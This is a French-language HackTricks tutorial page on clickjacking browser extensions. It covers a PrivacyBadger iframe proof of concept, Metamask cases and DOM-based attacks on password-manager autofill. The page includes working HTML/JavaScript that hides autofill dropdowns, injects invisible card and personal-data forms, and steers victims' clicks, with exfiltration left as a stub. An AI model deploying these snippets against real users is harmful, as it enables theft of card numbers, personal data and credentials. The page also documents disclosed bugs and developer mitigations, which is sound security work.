BrowExt - ClickJacking
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Cette page va exploiter une vulnérabilité de ClickJacking dans une extension de navigateur.
Si vous ne savez pas ce qu'est le ClickJacking, consultez :
Extensions contains the file manifest.json and that JSON file has a field web_accessible_resources. Here's what the Chrome docs say about it:
Ces ressources seraient alors accessibles dans une page web via l'URL
chrome-extension://[PACKAGE ID]/[PATH], which can be generated with theextension.getURL method. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.1
Les web_accessible_resources d'une extension de navigateur ne sont pas seulement accessibles via le web ; elles fonctionnent aussi avec les privilèges inhérents de l'extension. Cela signifie qu'elles ont la capacité de :
- Modifier l'état de l'extension
- Charger des ressources supplémentaires
- Interagir avec le navigateur dans une certaine mesure
Cependant, cette fonctionnalité présente un risque de sécurité. Si une ressource déclarée dans web_accessible_resources possède une fonctionnalité importante, un attaquant pourrait potentiellement intégrer cette ressource dans une page web externe. Des utilisateurs non méfiants visitant cette page pourraient involontairement activer cette ressource intégrée. Une telle activation pourrait entraîner des conséquences imprévues, selon les permissions et les capacités des ressources de l'extension.
PrivacyBadger Example
Dans l'extension PrivacyBadger, une vulnérabilité a été identifiée liée au répertoire skin/ déclaré comme web_accessible_resources de la manière suivante (Consultez le [blog post] original):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Cette configuration a conduit à un problème de sécurité potentiel. Plus précisément, le fichier skin/popup.html, qui est rendu lors de l'interaction avec l'icône PrivacyBadger dans le navigateur, pouvait être intégré dans un iframe. Cette intégration pouvait être exploitée pour tromper les utilisateurs et les amener involontairement à cliquer sur "Disable PrivacyBadger for this Website". Une telle action compromettrait la vie privée de l'utilisateur en désactivant la protection PrivacyBadger et en l'exposant potentiellement à un suivi accru. Une démonstration visuelle de cet exploit peut être consultée dans une vidéo ClickJacking fournie à https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Pour remédier à cette vulnérabilité, une solution simple a été mise en œuvre : la suppression de /skin/* de la liste des web_accessible_resources. Ce changement a efficacement atténué le risque en garantissant que le contenu du répertoire skin/ ne puisse pas être accédé ou manipulé via des web-accessible resources.
La correction a été simple : remove /skin/* from the web_accessible_resources.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Exemple
Un article de blog sur un ClickJacking dans metamask est disponible ici. Dans ce cas, Metamask a corrigé la vulnérabilité en vérifiant que le protocole utilisé pour y accéder était https: ou http: (pas chrome: par exemple) :
.png)
Another ClickJacking fixed dans l'extension Metamask concernait le fait que les utilisateurs pouvaient Click to whitelist lorsqu'une page était suspectée de phishing à cause de “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en affichant quelque chose de normal pour pousser la victime à cliquer pour la whitelist sans s'en rendre compte, puis revenir à la page de phishing qui sera whitelistée.
Steam Inventory Helper Exemple
Consultez la page suivante pour voir comment un XSS dans une extension de navigateur a été enchaîné avec une vulnérabilité de ClickJacking :
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
Les Clickjacking classiques d'extension exploitent des web_accessible_resources mal configurés pour iframe du HTML privilégié et provoquer des clics utilisateurs. Une classe plus récente, DOM-based extension clickjacking, cible directement les dropdowns d'autofill injectés par les password managers dans le DOM de la page et utilise des astuces CSS/DOM pour les cacher ou les occulter tout en les laissant cliquables. Un seul clic contraint peut sélectionner un élément enregistré et remplir des champs contrôlés par l'attaquant avec des données sensibles.
Modèle de menace
- L'attaquant contrôle une page web (ou obtient un XSS/takeover de sous-domaine/cache poisoning sur un domaine lié).
- La victime a une extension password manager installée et déverrouillée (certaines effectuent l'autofill même lorsqu'elles semblent verrouillées).
- Au moins un clic utilisateur est induit (bannières de cookies overlay, dialogues, CAPTCHAs, jeux, etc.).
Flux d'attaque (autofill manuel)
- Injecter un formulaire invisible mais focusable (champs login/PII/carte de crédit).
- Focaliser un input pour provoquer l'apparition du dropdown d'autofill de l'extension près du champ.
- Cacher ou occulter l'UI de l'extension tout en la laissant interactive.
- Aligner un contrôle crédible sous le dropdown masqué pour contraindre un clic qui sélectionne un élément.
- Lire les valeurs remplies dans le formulaire de l'attaquant et les exfiltrer.
Comment masquer l'autofill UI
- Élément d'extension
- Opacité de l'élément racine (générique) :
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Enfant à l'intérieur d'un ShadowRoot ouvert (balise dynamique, masquer l'iframe interne):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Élément parent
- BODY/HTML astuces d'opacité pour rendre l'UI de l'extension invisible tandis que la page semble normale (par ex., arrière-plan pour les captures d'écran):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Recouvrement
- Recouvrement partiel : occulter tout sauf quelques pixels pour que le menu déroulant reste cliquable (assurez-vous que le recouvrement de l'attaquant soit le dernier dans le DOM avec max z-index, ou utilisez Top Layer).
- Recouvrement complet en utilisant pointer-events:none pour que les clics passent au menu déroulant caché ; maintenez-le persistant avec la Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Positionnement du clic de la victime
- Placement fixe: positionnez le menu déroulant caché sous un contrôle crédible tel que “Accept cookies”, “Close”, ou une case CAPTCHA.
- Follow-mouse: déplacez le champ focalisé sous le curseur pour que le menu déroulant le suive ; refocalisez périodiquement pour qu'un seul clic n'importe où sélectionne un élément :
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Impact et scénarios
- Site contrôlé par l'attaquant : un seul clic contraint peut exfiltrer des données de carte de crédit (numéro/date d'expiration/CVC) et des informations personnelles (nom, e‑mail, téléphone, adresse, date de naissance (DOB)) qui ne sont pas limitées au domaine.
- Site de confiance avec XSS/subdomain takeover/cache poisoning : vol multi-clic des identifiants (username/password) et TOTP, car de nombreux managers effectuent de l'autofill sur des sous-domaines/domaines parents associés (p.ex.,
*.example.com). - Passkeys : si le RP n'associe pas les challenges WebAuthn à la session, XSS peut intercepter l'assertion signée ; le DOM-based clickjacking masque l'invite de passkey pour obtenir le clic de confirmation de l'utilisateur.
Limitations
- Nécessite au moins un clic utilisateur et un bon alignement des pixels (des overlays réalistes facilitent la sollicitation du clic).
- Le verrouillage automatique/la déconnexion réduit les fenêtres d'exploitation ; certains managers remplissent encore automatiquement même lorsqu'ils sont « verrouillés ».
Extension developer mitigations
- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
- Resist CSS tampering: prefer Closed Shadow DOM and monitor with
MutationObserverfor suspicious style changes on UI roots. - Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable
pointer-events:none, and useelementsFromPoint()to detect occlusion; close UI if overlays exist. - Detect suspicious
<body>/<html>opacity or style changes both pre- and post-render. - For iframe-based issues: scope MV3
web_accessible_resourcesmatchesnarrowly and avoid exposing HTML UIs; for unavoidable HTML, serveX-Frame-Options: DENYorContent-Security-Policy: frame-ancestors 'none'.
Références
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks